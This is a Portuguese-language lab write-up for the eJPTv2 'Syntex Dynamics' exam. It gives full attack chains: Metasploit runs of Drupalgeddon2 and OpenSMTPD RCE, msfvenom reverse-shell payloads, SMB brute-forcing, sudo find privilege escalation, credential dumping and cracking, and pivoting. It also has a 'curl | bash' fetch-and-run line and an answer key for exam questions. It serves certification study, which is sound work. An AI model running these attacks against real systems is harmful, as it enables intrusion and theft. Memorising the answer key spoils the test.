~/labs/ejptv2--syntex-dynamics-base-privada-completa

eJPTv2 — Syntex Dynamics (Base Privada Completa)

mediumINE Security / eJPT192.168.100.0/2445/45 flags
nmapftp-anonymouswebshelldrupaldrupalgeddon2cve-2018-7600cve-2020-7247opensmtpdsmbsmb-bruteforcemetasploitmeterpreterprivescsudo-findgtfobinsmysqlcredential-dumphash-crackingpivotautoroutesocks-proxywebdaviiswordpressrdpwinrm

recon

nmapHost Discovery — Ping Sweep (-sn)
# Ping sweep — identifica hosts ativos sem scan de portas
nmap -sn 192.168.100.0/24 -oN hosts.txt

# Output:
# 192.168.100.1  (gateway)
# 192.168.100.5  (Kali — atacante)
# 192.168.100.50
# 192.168.100.51
# 192.168.100.52
# 192.168.100.55
# 192.168.100.63
# 192.168.100.67
# 8 hosts up em 256 IPs varridos

# Por que -sn?
# Desativa o port scan e faz apenas descoberta de hosts via ICMP echo,
# ARP (na mesma rede) e TCP SYN/ACK. Primeiro passo padrão para mapear
# o escopo sem gerar muito ruído.
nmapPort Scan Rápido — Toda a Rede (SYN scan)
# SYN scan com alta taxa, detecta portas abertas rapidamente
nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24

# Flags:
# -sS          : SYN scan (half-open) — não completa o handshake TCP, mais furtivo
# --min-rate 5000 : mínimo 5000 pacotes/segundo — acelera o scan
# -T4          : template agressivo de timing
# --open       : mostra apenas portas abertas
# -Pn          : não faz ping antes (assume hosts ativos)
# -n           : sem resolução DNS (mais rápido)

# Resultado por host:
# .50 → 80, 135, 139, 445, 3389
# .51 → 21, 80, 135, 139, 445, 3389
# .52 → 21, 22, 25, 80, 139, 445, 3306, 3389
# .55 → 80, 135, 139, 445, 3389
# .63 → 3389
# .67 → 22

# ERRO DOCUMENTADO NO LAB:
# ERRADO (faltou hífen antes de T4):
# nmap -sS --min-rate 5000 T4 --open -Pn -n 192.168.100.5/24
# Saída: 'Failed to resolve T4' — nmap interpretou T4 como hostname
# Também: usar /24 na rede (.0), não no host (.5)

# CORRETO:
# nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24
nmapService Scan Detalhado — nmap -sCV em todos os hosts
# Detecção de versão de serviços + scripts NSE padrão
nmap -sCV -p21,22,25,80,139,445,3306,3389 \
     -oN svcALL.txt \
     192.168.100.50,51,52,55,63,67

# -sC : executa scripts NSE padrão (equivale a --script=default)
# -sV : detecção de versão de serviços
# -oN : output em formato normal (legível por humano)

# Output relevante — WINSERVER-02 (.51):
# 21/tcp → FTP Microsoft — Anonymous login ALLOWED
#           cmdasp.aspx (1400 bytes), iis-85.png, iisstart.htm, robots.txt.txt
# 80/tcp → IIS 8.5 — WebDAV (TRACE, PUT, DELETE, MKCOL, LOCK...)
#           Listagem de diretório exposta
# 3389  → WINSERVER-02 (Product 6.3.9600 — Win 2012 R2)
# SMB   → signing DISABLED

# Output relevante — LINUX-01 (.52):
# 21/tcp → vsftpd 3.0.3 — Anonymous ALLOWED
# 22/tcp → OpenSSH 8.2p1 Ubuntu
# 25/tcp → OpenSMTPD 2.0.0  ← CVE-2020-7247
# 80/tcp → Apache 2.4.41 — /drupal/ (Drupal 7)
# 3306  → MariaDB 10.3.34 (reporta como MySQL 5.5.5)
# SMB   → Samba 4.13.17 — signing DISABLED

# NOTA IMPORTANTE SOBRE MYSQL:
# O MariaDB 10.3.34 reporta sua versão como '5.5.5-10.3.34-MariaDB'
# para compatibilidade com clientes MySQL. O nmap captura apenas o
# prefixo '5.5.5', que é a resposta esperada pelo exame.
webFingerprint Drupal — 192.168.100.52
# Identificação de versão via arquivo público
curl http://192.168.100.52/drupal/CHANGELOG.txt
# Retorna: Drupal 7.57

# Por que o CHANGELOG.txt é crítico?
# O Drupal, por padrão em versões antigas, deixa o CHANGELOG.txt
# acessível publicamente. Ele lista a versão exata instalada,
# permitindo identificar CVEs aplicáveis sem nenhuma autenticação.

# Identificação de usuários via URL pública
curl http://192.168.100.52/drupal/?q=user
# Retorna: página de login com nome do site 'Syntex Dynamics'

# Post público revela username
curl http://192.168.100.52/drupal/?q=node/1
# Publicado por: auditor (post: 'Syntex Dynamics - What we do')
httpFTP Anônimo — .51 (webshell) e .52 (updates.txt)
# FTP anônimo no WINSERVER-02 (.51)
ftp 192.168.100.51
# user: anonymous
# pass: (vazio — apenas Enter)
ftp> ls -la
# cmdasp.aspx (webshell ASPX — 1.400 bytes)  ← CRÍTICO
# iisstart.htm
# robots.txt.txt
# aspnet_client/
ftp> get cmdasp.aspx
# Download local para análise

# FTP anônimo no LINUX-01 (.52)
ftp 192.168.100.52
ftp> ls
# updates.txt (318 bytes, 2022-04-18)
ftp> get updates.txt
# Conteúdo: horário de trabalho da Syntex começa às 08:00

# Por que checar FTP anônimo?
# É uma das misconfigurações mais clássicas. Quando habilitado, permite
# leitura (e às vezes escrita) sem autenticação. No .51, a webshell já
# estava presente no webroot do IIS, tornando a exploração trivial.
checklistFASE 0 — Triage & Tracking
HOST DISCOVERY — registrar IP + Hostname + OS provável
Classificar: Entry Point / Target de Valor / DC / File Server
Nmap Top 1000: sudo nmap -sS --top-ports 1000 -T4 -Pn -n IP
nmapFASE 1 — Port Scan
FULL TCP: sudo nmap -sS -p- --min-rate 5000 -T4 --open -Pn -n IP -oN ports.txt
UDP: sudo nmap -sU --top-ports 20 -T4 IP
VERSION: sudo nmap -sCV -p PORTAS IP -oN svcs.txt
OS DETECTION: flag -O
AD PORTS: -p 88,135,139,389,445,464,636,3268,3269
PRINT EVIDENCE
checklistFASE 0 — Triage & Tracking
HOST DISCOVERY — registrar IP + Hostname + OS provável
Classificar: Entry Point / Target de Valor / DC / File Server
Nmap Top 1000: sudo nmap -sS --top-ports 1000 -T4 -Pn -n IP
nmapFASE 1 — Port Scan
FULL TCP: sudo nmap -sS -p- --min-rate 5000 -T4 --open -Pn -n IP -oN ports.txt
UDP: sudo nmap -sU --top-ports 20 -T4 IP
VERSION: sudo nmap -sCV -p PORTAS IP -oN svcs.txt
OS DETECTION: flag -O
AD PORTS: -p 88,135,139,389,445,464,636,3268,3269
PRINT EVIDENCE

enum

webEnumeração Drupal em Profundidade + SQL
# Verificação de versão
curl http://192.168.100.52/drupal/CHANGELOG.txt
# Drupal 7.57 — confirmado

# Identificação de usuário autor de post
# URL: /drupal/?q=node/1
# Resultado: post 'Syntex Dynamics - What we do' por 'auditor'

# Query SQL para enumeração de posts e autores (pós-exploit):
SELECT n.nid, n.title, u.name 
FROM node n 
JOIN users u ON n.uid = u.uid;
-- Resultado: nid=1 | 'Syntex Dynamics - What we do' | auditor

# Contagem de usuários no DB (obtida via SQL pós-exploit)
# 4 usuários: admin, auditor, dbadmin, Vincenzo

# Por que o Drupal 7.57 é vulnerável?
# CVE-2018-7600 (Drupalgeddon2): a Forms API permite que desenvolvedores
# definam formulários com propriedades processadas pelo engine de
# renderização. Certas propriedades não são sanitizadas antes de serem
# processadas. Um atacante envia valores como #markup ou #pre_render
# contendo callbacks PHP arbitrários, executados pelo motor de
# renderização. Afeta Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1.
# MITRE ATT&CK: T1190 — Exploit Public-Facing Application
nmapDetecção OpenSMTPD — 192.168.100.52
nmap -sCV -p25 192.168.100.52
# 25/tcp open  smtp  OpenSMTPD (protocol 220)
# Banner: OpenSMTPD 2.0.0  →  CVE-2020-7247 confirmado

# CVE-2020-7247 — OpenSMTPD RCE
# CVSS v3: 9.8 CRITICAL
# CWE: CWE-78 (OS Command Injection)
# Afeta: OpenSMTPD <= 6.6.2p1
# O campo MAIL FROM do protocolo SMTP é processado sem sanitização
# adequada. Um atacante pode injetar comandos shell no campo de
# endereço do remetente, executados com os privilégios do daemon
# smtpd (tipicamente root ou usuário dedicado com altos privilégios).
smbEnumeração SMB — enum4linux no LINUX-01 (.52)
# Enumeração completa: usuários, shares, políticas de senha
enum4linux -a 192.168.100.52

# Usuários encontrados via RID Cycling:
# S-1-22-1-1000 → ubuntu   (Local User)
# S-1-22-1-1001 → auditor  (Local User)
# S-1-22-1-1002 → dbadmin  (Local User)
# Total de usuários enumerados: 3

# Política de senhas:
# Comprimento mínimo: 5 caracteres
# Complexidade: DESATIVADA
# Histórico: Nenhum

# Por que RID Cycling funciona?
# Em configurações Samba sem restrição de enumeração anônima,
# é possível iterar pelos RIDs da conta de sistema e mapear quais
# números correspondem a usuários válidos. O SID S-1-22-1 é o prefixo
# padrão para usuários locais Linux no Samba.

# SMB Signing desativado:
# Com SMB signing desabilitado, ataques de relay (NTLM Relay) são
# possíveis. Um atacante pode capturar o handshake NTLM de um host
# e retransmiti-lo para outro sem precisar quebrar o hash.
nmap -p445 --script smb-security-mode 192.168.100.50,51,52
# Resultado: message_signing: disabled nos três hosts
httpEnumeração WebDAV — WINSERVER-02 (.51)
# Verificação de métodos WebDAV habilitados
curl -X OPTIONS http://192.168.100.51/ -v
# Allow: OPTIONS, TRACE, GET, HEAD, PUT, DELETE, MKCOL, LOCK, UNLOCK,
#        PROPFIND, PROPPATCH, COPY, MOVE

# Risco do WebDAV com PUT:
# Se o WebDAV tiver o método PUT habilitado sem autenticação adequada,
# é possível fazer upload de arquivos arbitrários (incluindo webshells)
# diretamente para o servidor via HTTP. Neste case, a webshell já
# estava presente via FTP, mas o WebDAV seria um vetor alternativo.

# Verificação de listagem de diretório (IIS)
curl http://192.168.100.51/
# Directory listing exposto — revela todos os arquivos no webroot
smbAnálise MariaDB via MySQL Client — LINUX-01 (.52)
# Conexão ao banco após obter credenciais (via settings.php)
mysql -u drupal -p[REDACTED] 192.168.100.52

MariaDB> use drupal;
MariaDB> show tables;
-- 73 tabelas

MariaDB> select name, value from variable;
-- Configurações do Drupal

MariaDB> select n.nid, n.title, u.name
         from node n join users u on n.uid = u.uid;
-- nid=1 | 'Syntex Dynamics - What we do' | auditor

MariaDB> select name, pass, mail from users;
-- +----------+-------------------+----------------------+
-- | (vazio)  |                   |                      |   ← UID=0 anônimo
-- | admin    | [hash $S$ SHA512] | admin@syntex.com     |
-- | auditor  | [hash $S$ SHA512] | auditor@syntex.com   |
-- | dbadmin  | [hash $S$ SHA512] | dbadmin@syntex.com   |
-- | Vincenzo | [hash $S$ SHA512] | vincenzo@syntext.com |
-- Total: 4 usuários (linha vazia = anônimo UID=0, não conta)

# NOTA: MariaDB 10.3.34 reporta como MySQL 5.5.5 para compatibilidade.
# Resposta correta para questão de versão do exame: 5.5.5
smbFASE 2 — Service Enum
VERSIONS — confirmar versões exatas
AUTHENTICATION — testar credenciais default/anon
ANONYMOUS ACCESS — SMB/FTP/NFS
SMB: cme smb IP -u '' -p '' --shares / enum4linux-ng -A IP
SNMP: snmpwalk -v2c -c public IP
LDAP: ldapsearch -x -h IP -b 'DC=dom,DC=local' null session
PRINT EVIDENCE
webFASE 3 — Web
FINGERPRINT: whatweb http://IP
DIRECTORY SCAN: ffuf -u http://IP/FUZZ -w directory-list-2.3-medium.txt -t 50
VHOST: ffuf -u http://IP -H 'Host: FUZZ.DOMINIO' -w subdomains-top1mil-5000.txt
INFORMATION DISCLOSURES — robots.txt, .git, backups
ATTACK WEB — SQLi, XSS, LFI, SSRF, IDOR, Upload, Auth bypass
PRINT EVIDENCE
cmdFASE 4 — Active Directory
BloodHound: bloodhound-python -d DOM -u user -p pass -ns IP -c all
AS-REPRoasting: impacket-GetNPUsers DOM/ -dc-ip IP -usersfile users.txt -no-pass
Kerberoasting: impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request
Password Spray: cme smb IP -u users.txt -p 'Senha123!' --continue-on-success
Responder: sudo responder -I tun0 -wPv
smbFASE 2 — Service Enum
VERSIONS — confirmar versões exatas
AUTHENTICATION — testar credenciais default/anon
ANONYMOUS ACCESS — SMB/FTP/NFS
SMB: cme smb IP -u '' -p '' --shares / enum4linux-ng -A IP
SNMP: snmpwalk -v2c -c public IP
LDAP: ldapsearch -x -h IP -b 'DC=dom,DC=local' null session
PRINT EVIDENCE
webFASE 3 — Web
FINGERPRINT: whatweb http://IP
DIRECTORY SCAN: ffuf -u http://IP/FUZZ -w directory-list-2.3-medium.txt -t 50
VHOST: ffuf -u http://IP -H 'Host: FUZZ.DOMINIO' -w subdomains-top1mil-5000.txt
INFORMATION DISCLOSURES — robots.txt, .git, backups
ATTACK WEB — SQLi, XSS, LFI, SSRF, IDOR, Upload, Auth bypass
PRINT EVIDENCE
cmdFASE 4 — Active Directory
BloodHound: bloodhound-python -d DOM -u user -p pass -ns IP -c all
AS-REPRoasting: impacket-GetNPUsers DOM/ -dc-ip IP -usersfile users.txt -no-pass
Kerberoasting: impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request
Password Spray: cme smb IP -u users.txt -p 'Senha123!' --continue-on-success
Responder: sudo responder -I tun0 -wPv

exploit

cmd[F-CRIT] Webshell via FTP Anônimo — WINSERVER-02 (.51)
# Cadeia mais rápida do lab (<5 min desde o recon)
# 1. FTP anônimo → encontrar cmdasp.aspx no diretório raiz do IIS
# 2. Acessar http://192.168.100.51/cmdasp.aspx
# 3. Executar via interface web:
#    whoami → iis apppool\defaultapppool
#    ipconfig → 192.168.100.51

# Por que isso é uma vulnerabilidade crítica?
# 1. FTP anônimo permite listagem e download de qualquer arquivo
# 2. A webshell estava no webroot — qualquer usuário web pode executá-la
# 3. Não havia autenticação no IIS para o endpoint da webshell
# 4. CVSSv3 estimado: 9.8 (acesso não autenticado, RCE, sem interação)

# Upgrade para Meterpreter via listener:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.100.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

# Geração de payload (método alternativo):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.100.5 LPORT=4444 \
         -f exe -o shell.exe

# Contexto de execução:
# IIS APPPOOL\DefaultAppPool é conta de serviço de baixo privilégio
# Sem acesso a C:\Users\ de usuários reais diretamente
# Para escalada: verificar permissões de serviços, token impersonation

# MITRE ATT&CK: T1190, T1505.003 (Web Shell)
# MITRE ATT&CK: T1190 — Exploit Public-Facing Application
cmd[F-CRIT] CVE-2020-7247 OpenSMTPD RCE — LINUX-01 (.52) [alternativo]
# Vulnerabilidade: CVE-2020-7247 — OpenSMTPD
# CVSS v3: 9.8 CRITICAL
# Tipo: RCE via SMTP
# CWE: CWE-78 (OS Command Injection)
# Afeta: OpenSMTPD <= 6.6.2p1
# Versão no lab: OpenSMTPD 2.0.0

msf6 > use exploit/unix/smtp/opensmtpd_mail_from_rce
msf6 exploit(opensmtpd_mail_from_rce) > set RHOSTS 192.168.100.52
msf6 exploit(opensmtpd_mail_from_rce) > set LHOST 192.168.100.5
msf6 exploit(opensmtpd_mail_from_rce) > run

# Como funciona:
# A vulnerabilidade está no processamento do campo MAIL FROM do
# protocolo SMTP. Um campo especialmente construído permite injeção
# de comandos que são executados com privilégios elevados pelo
# daemon do OpenSMTPD.

# Nota: Este vetor não foi o principal utilizado no lab,
# mas foi identificado e documentado como alternativa ao Drupalgeddon2.
cmd[F-CRIT] CVE-2018-7600 Drupalgeddon2 — LINUX-01 (.52)
# Vulnerabilidade: CVE-2018-7600 — Drupalgeddon2
# CVSS v3: 9.8 CRITICAL
# Tipo: RCE sem autenticação
# CWE: CWE-20 (Improper Input Validation)
# Afeta: Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1
# Módulo MSF: exploit/unix/webapp/drupal_drupalgeddon2

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(drupal_drupalgeddon2) > set RHOSTS 192.168.100.52
msf6 exploit(drupal_drupalgeddon2) > set TARGETURI /drupal/
msf6 exploit(drupal_drupalgeddon2) > set LHOST 192.168.100.5
msf6 exploit(drupal_drupalgeddon2) > set LPORT 4444
msf6 exploit(drupal_drupalgeddon2) > run

# Output:
# [*] Started reverse TCP handler on 192.168.100.5:4444
# [*] Sending stage (3012548 bytes) to 192.168.100.52
# [*] Meterpreter session 1 opened (...) at 2026-04-04 21:02:52
# meterpreter > getuid
# Server username: www-data

# Como o exploit funciona (técnico):
# O Drupalgeddon2 explora a função drupal_render() na Forms API.
# Um atacante envia uma requisição POST para endpoints como /user/register
# com dados que contêm código PHP embutido em campos de formulário.
# O sistema de renderização processa esses dados sem sanitização
# adequada, resultando em execução de código arbitrário no contexto
# do servidor web.

# Contexto: www-data tem acesso de leitura ao diretório do Drupal
# e pode executar comandos com os privilégios desse usuário.
# MITRE ATT&CK: T1190 — Exploit Public-Facing Application
smb[F-HIGH] SMB Brute-Force — WINSERVER-03 (.55)
# Vetor: SMB com política de senhas fraca e signing desativado
# Condições facilitadoras:
# - Senhas baseadas em palavras do dicionário
# - Sem lockout policy (tentativas ilimitadas)
# - SMB signing desativado (relay como alternativa)
# - Usuário Administrator com senha fraca

# Com Metasploit:
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(smb_login) > set RHOSTS 192.168.100.55
msf6 auxiliary(smb_login) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(smb_login) > run

# Com Hydra:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
      smb://192.168.100.55

# Com crackmapexec:
crackmapexec smb 192.168.100.55 -u users.txt -p passwords.txt

# Credenciais descobertas:
# Administrator : [REDACTED — credencial dinâmica do exame]
# mary          : [REDACTED — credencial dinâmica do exame]

# MITRE ATT&CK: T1110.003 — Password Spraying / Brute Force
cmdFASE 5 — Check Vulnerabilities
CHECK EACH SERVICE — CVE por versão exata
searchsploit SERVIÇO VERSÃO
Internal information leakage
PRINT EVIDENCE
cmdFASE 5 — Check Vulnerabilities
CHECK EACH SERVICE — CVE por versão exata
searchsploit SERVIÇO VERSÃO
Internal information leakage
PRINT EVIDENCE

post-exp

cmdUpgrade de Shell TTY — LINUX-01 (.52)
# Após obter shell básico como www-data
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Python 3.8.10 disponível no sistema

# Versão mais completa (para suportar Ctrl+C, etc.):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Depois: Ctrl+Z
# stty raw -echo; fg
# export TERM=xterm

# Por que o upgrade é necessário?
# Shells simples (sem TTY) não suportam:
# - interatividade completa, tab completion
# - visualização de editores (vi/nano)
# - sudo (que requer TTY)
# - podem quebrar em determinados comandos
# O upgrade via pty.spawn cria um pseudoterminal que simula
# um terminal completo.
cmdEnumeração Pós-Compromise — LINUX-01 (.52)
# Identidade
whoami
# www-data

# Sistema
uname -a
# Linux ip-192-168-100-52 5.4.0-1069-aws #73~18.04.1-Ubuntu

# Interfaces de rede (confirmação dual-homed)
ip addr show
# eth0: 192.168.100.52/24 (DMZ)
# eth1: 172.21.x.x/16    (Rede interna)  ← gateway para pivot

# Processos
ps aux

# Serviços ativos
ss -tlnp

# CRÍTICO — Sudo permissions:
sudo -l
# (root) NOPASSWD: /usr/bin/find  ← PRIVESC DISPONÍVEL
cmd[F-HIGH] Privilege Escalation via sudo find — LINUX-01 (.52)
# Verificação de sudo
sudo -l
# (root) NOPASSWD: /usr/bin/find  ← sem senha, qualquer usuário

# Exploração via GTFObins
sudo find . -exec /bin/bash \; -quit

# Confirmação
whoami
# root

# Por que isso funciona?
# O find com -exec permite executar comandos arbitrários.
# Quando executado via sudo, esses comandos rodam como root.
# O -quit interrompe o find imediatamente após o primeiro
# resultado, tornando a execução mais limpa.

# Referência GTFObins: https://gtfobins.github.io/gtfobins/find/#sudo

# Impacto: controle total do sistema
# - Leitura de /etc/shadow
# - Todos os arquivos do sistema
# - Criação de backdoors

# MITRE ATT&CK: T1548.003 — Sudo and Sudo Caching
cmdReconhecimento Pós-Compromise — WINSERVER-02 (.51)
# Via meterpreter session no .51
meterpreter > shell

# Informações de rede
ipconfig /all
# Ethernet: 192.168.100.51 / 255.255.255.0
# Gateway: 192.168.100.1

# Rotas
route print
# Rede: 192.168.100.0/24 / Gateway: 192.168.100.1

# Conexões e portas
netstat -ano
# Portas abertas: 21, 80, 135, 445, 3389, 5985, 49152-49174
# Conexão meterpreter ativa: .51:49828 → 192.168.100.5:4444

# Porta 5985 — WinRM:
# Indica que o Windows Remote Management está ativo.
# Pode ser explorado para execução remota de PowerShell com credenciais.
evil-winrm -i 192.168.100.51 -u Administrator -p [senha]

# Meterpreter úteis:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > run post/multi/recon/local_exploit_suggester
cmdCaptura de Flags — Métodos por Host
# Q42 — Flag em C:\Users\mike\Documents\flag.txt (WINSERVER-01)
# Método: obter acesso como mike via SMB brute-force → RDP
type C:\Users\mike\Documents\flag.txt

# Q44 — Flag em C:\Users\Administrator\flag.txt (WINSERVER-03)
# Método: comprometer WINSERVER-03 → login como Administrator
type C:\Users\Administrator\flag.txt

# Q45 — Flag em /root/flag.txt (LINUX-01 .52)
# Método: Drupalgeddon2 → www-data → sudo find → root
cat /root/flag.txt

# AVISO: Flags são DINÂMICAS — mudam a cada instância do exame.
# Sempre documentar o MÉTODO de obtenção, nunca o valor da flag.
cmdDump de Credenciais MySQL/Drupal — settings.php
# Credenciais do Drupal encontradas em settings.php
cat /var/www/html/drupal/sites/default/settings.php | grep -A5 'database'
# username: drupal
# password: [REDACTED — credencial dinâmica]
# database: drupal

# Conexão e dump da tabela users:
mysql -u drupal -p[REDACTED] \
      -e "use drupal; select name, pass, mail from users;"

# Resultado:
# +----------+---------------------------------------------------------+----------------------+
# | (vazio)  |                                                         |                      |
# | admin    | [hash $S$ SHA-512]                                      | admin@syntex.com     |
# | auditor  | [hash $S$ SHA-512]                                      | auditor@syntex.com   |
# | dbadmin  | [hash $S$ SHA-512]                                      | dbadmin@syntex.com   |
# | Vincenzo | [hash $S$ SHA-512]                                      | vincenzo@syntext.com |
# Total: 4 usuários

# Formato dos hashes Drupal:
# Esquema phpass com prefixo $S$ + custo de iteração + hash SHA-512
# Algoritmo: SHA-512 com salt

# Quebrar offline:
john --format=drupal7 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 7900 hashes.txt /usr/share/wordlists/rockyou.txt --force

# Verificar resultados:
john --show hashes.txt

# MITRE ATT&CK: T1003 — OS Credential Dumping
cmdPassword Reuse — Testando Credenciais Cross-Service
# Após obter hashes do MySQL e quebrar com John/Hashcat:

# Testar credencial do MySQL no SSH
ssh dbadmin@192.168.100.52
ssh auditor@192.168.100.52

# Testar credenciais do SMB no RDP
xfreerdp /v:192.168.100.55 /u:Administrator /p:[senha]

# Crackmapexec para testar em múltiplos hosts (spray)
crackmapexec smb 192.168.100.0/24 -u Administrator -p [senha]

# Verificar usuários locais após comprometer host Windows
net user
net localgroup Administrators
wmic qfe list           # HotFixes instalados
Get-HotFix | Measure-Object  # PowerShell (Q43: 220 hotfixes no WINSERVER-01)

# MITRE ATT&CK: T1021 — Remote Services (RDP, SSH, SMB)
# MITRE ATT&CK: T1003 — Credential Dumping
cmdPivot — Configuração Autoroute + SOCKS5
# Confirmar host dual-homed
ip addr show
# eth0: 192.168.100.52 (DMZ)
# eth1: 172.21.x.x     (Rede interna) ← gateway para 192.168.1.0/24

# DEPRECATED (ainda funciona mas gera warning):
run autoroute -s 172.21.0.0/16
# [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
# [+] Added route to 172.21.0.0/255.255.0.0 via 192.168.100.52

# MÉTODO MODERNO (correto):
meterpreter > run post/multi/manage/autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0

# Verificar rotas:
meterpreter > run autoroute -p
msf6 > route print

# Configurar SOCKS proxy para ferramentas externas:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j
# /etc/proxychains4.conf → adicionar: socks5 127.0.0.1 1080

# Varrer rede interna via pivot:
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains nmap -sT -p10000 192.168.1.0/24
# Porta 10000 encontrada → Webmin

# Porta 10000 = Webmin (admin web-based Linux)
# CVE relevante: CVE-2019-15107 (Backdoor em versões específicas)

# MITRE ATT&CK: T1572 — Protocol Tunneling (Pivot)
# MITRE ATT&CK: T1046 — Network Service Discovery
cmdFASE 6 — Post-Exploitation
whoami + hostname + ifconfig — SCREENSHOT OBRIGATÓRIO
LinPEAS/WinPEAS: curl http://IP/linpeas.sh | bash
sudo -l
SUID: find / -perm -4000 -type f 2>/dev/null
Cron: cat /etc/crontab
Credential harvesting — config files, bash_history
Subnets internas — registrar para pivot
PIVOT: Ligolo-ng / Chisel / SSH Tunnel
PRINT EVIDENCE
cmdFASE 6 — Post-Exploitation
whoami + hostname + ifconfig — SCREENSHOT OBRIGATÓRIO
LinPEAS/WinPEAS: curl http://IP/linpeas.sh | bash
sudo -l
SUID: find / -perm -4000 -type f 2>/dev/null
Cron: cat /etc/crontab
Credential harvesting — config files, bash_history
Subnets internas — registrar para pivot
PIVOT: Ligolo-ng / Chisel / SSH Tunnel
PRINT EVIDENCE

creds

credMapa Completo de Credenciais Obtidas
# NOTA: Credenciais reais são DINÂMICAS. Esta seção documenta
# o TIPO e o MÉTODO de obtenção para fins de estudo.

# 192.168.100.52 — MySQL / Drupal DB
serviço: MySQL
host: 192.168.100.52
usuário: drupal
senha: [em /var/www/html/drupal/sites/default/settings.php]

# 192.168.100.52 — Usuários Drupal (hashes SHA-512 Drupal7 / $S$)
admin    → admin@syntex.com
auditor  → auditor@syntex.com
dbadmin  → dbadmin@syntex.com
Vincenzo → vincenzo@syntext.com
# Quebrar offline:
john --format=drupal7 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 7900 hashes.txt rockyou.txt --force
john --show hashes.txt

# 192.168.100.52 — SSH (reutilização de senha do Drupal)
usuário: dbadmin / auditor
senha: [crack do hash SHA-512 acima]
método: ssh dbadmin@192.168.100.52

# 192.168.100.55 — SMB/RDP (brute-force)
usuário: Administrator
senha: [via crackmapexec / rockyou.txt]
usuário: mary
senha: [via crackmapexec / rockyou.txt]

# 192.168.100.50 — SMB (brute-force)
usuário: mike
senha: [via crackmapexec / rockyou.txt]

# Algoritmo de hash das senhas Linux:
# /etc/shadow → prefixo $6$ → SHA-512
# Drupal DB   → prefixo $S$ → SHA-512 com salt (phpass)

# Password reuse cross-service:
crackmapexec smb 192.168.100.0/24 -u [user] -p [senha]  # spray
xfreerdp /v:[host] /u:[user] /p:[senha]                  # RDP

flags

flagFindings por Severidade (13 vulnerabilidades documentadas)
[CRÍTICO]  CVE-2018-7600 Drupalgeddon2          - 192.168.100.52 - CVSS 9.8
[CRÍTICO]  FTP Anônimo + Webshell IIS            - 192.168.100.51 - CVSS 9.8
[CRÍTICO]  CVE-2020-7247 OpenSMTPD RCE           - 192.168.100.52 - CVSS 9.8
[ALTO]     SMB Brute-Force / Política fraca       - 192.168.100.55 - CVSS 8.1
[ALTO]     Escalação via sudo find NOPASSWD       - 192.168.100.52 - CVSS 7.8
[ALTO]     MySQL exposto + credenciais fracas     - 192.168.100.52 - CVSS 7.5
[MÉDIO]    FTP anônimo com acesso ao webroot      - 192.168.100.51 - CVSS 6.5
[MÉDIO]    WebDAV com métodos perigosos (PUT/DEL) - 192.168.100.51 - CVSS 6.5
[MÉDIO]    SMB Signing desativado                 - .50/.51/.52    - CVSS 5.9
[MÉDIO]    Directory Listing IIS ativado          - 192.168.100.51 - CVSS 5.3
[BAIXO]    FTP anônimo — divulgação de informações- 192.168.100.52 - CVSS 4.3
[INFO]     Drupal 7.57 desatualizado
[INFO]     OpenSMTPD desatualizado
flagFASE 7 — Flags & Evidence
user.txt — SCREENSHOT com cat
root.txt / administrator.txt — SCREENSHOT OBRIGATÓRIO
Evidências salvas em proof/
flagFASE 7 — Flags & Evidence
user.txt — SCREENSHOT com cat
root.txt / administrator.txt — SCREENSHOT OBRIGATÓRIO
Evidências salvas em proof/

notes

noteGabarito das 45 Questões com Raciocínio
=== BLOCO 1 — RECONHECIMENTO DE REDE (Q1-Q10) ===

Q1.  IP dual-homed da DMZ?
     R: 192.168.100.52
     Método: ip addr show pós-exploit — único host com eth0 (DMZ) + eth1 (172.21.x.x)

Q2.  Quantos hosts na DMZ (excluindo gateway)?
     R: 6
     Método: .50, .51, .52, .55, .63, .67 = 6 hosts. Gateway (.1) e Kali (.5) excluídos.

Q3.  Quantos hosts Windows na DMZ?
     R: 4
     Método: .50 (Win 2012 R2), .51 (Win 2012 R2), .55 (Win 2019), .63 (Windows) = 4.

Q4.  Quantos hosts Linux (excluindo Kali)?
     R: 2
     Método: .52 (Ubuntu 20.04) e .67 (Ubuntu) = 2. Kali (.5) excluído.

Q5.  Quantos hosts rodando Apache (DMZ + interna)?
     R: 2
     Método: .50 (Apache 2.4.51 / WAMP) e .52 (Apache 2.4.41 / Drupal). IIS não é Apache.

Q6.  IP do host com OpenSMTPD?
     R: 192.168.100.52
     Método: nmap -sCV → porta 25 com OpenSMTPD 2.0.0 exclusivamente no .52.

Q7.  Total de portas TCP abertas no host Drupal?
     R: 8
     Método: 21, 22, 25, 80, 139, 445, 3306, 3389 = 8 portas.

Q8.  Quantos hosts com servidor de banco de dados?
     R: 2
     Método: .50 (MySQL na porta 3307) e .52 (MariaDB na porta 3306) = 2.

Q9.  Versão do MySQL no host Drupal?
     R: 5.5.5
     Método: MariaDB 10.3.34 reporta compatibilidade como MySQL 5.5.5. nmap captura esse prefixo.

Q10. Total de hosts com Windows Server 2019 (DMZ + interna)?
     R: 1
     Método: Apenas .55 (WINSERVER-03 com Windows Server 2019 Datacenter 17763).

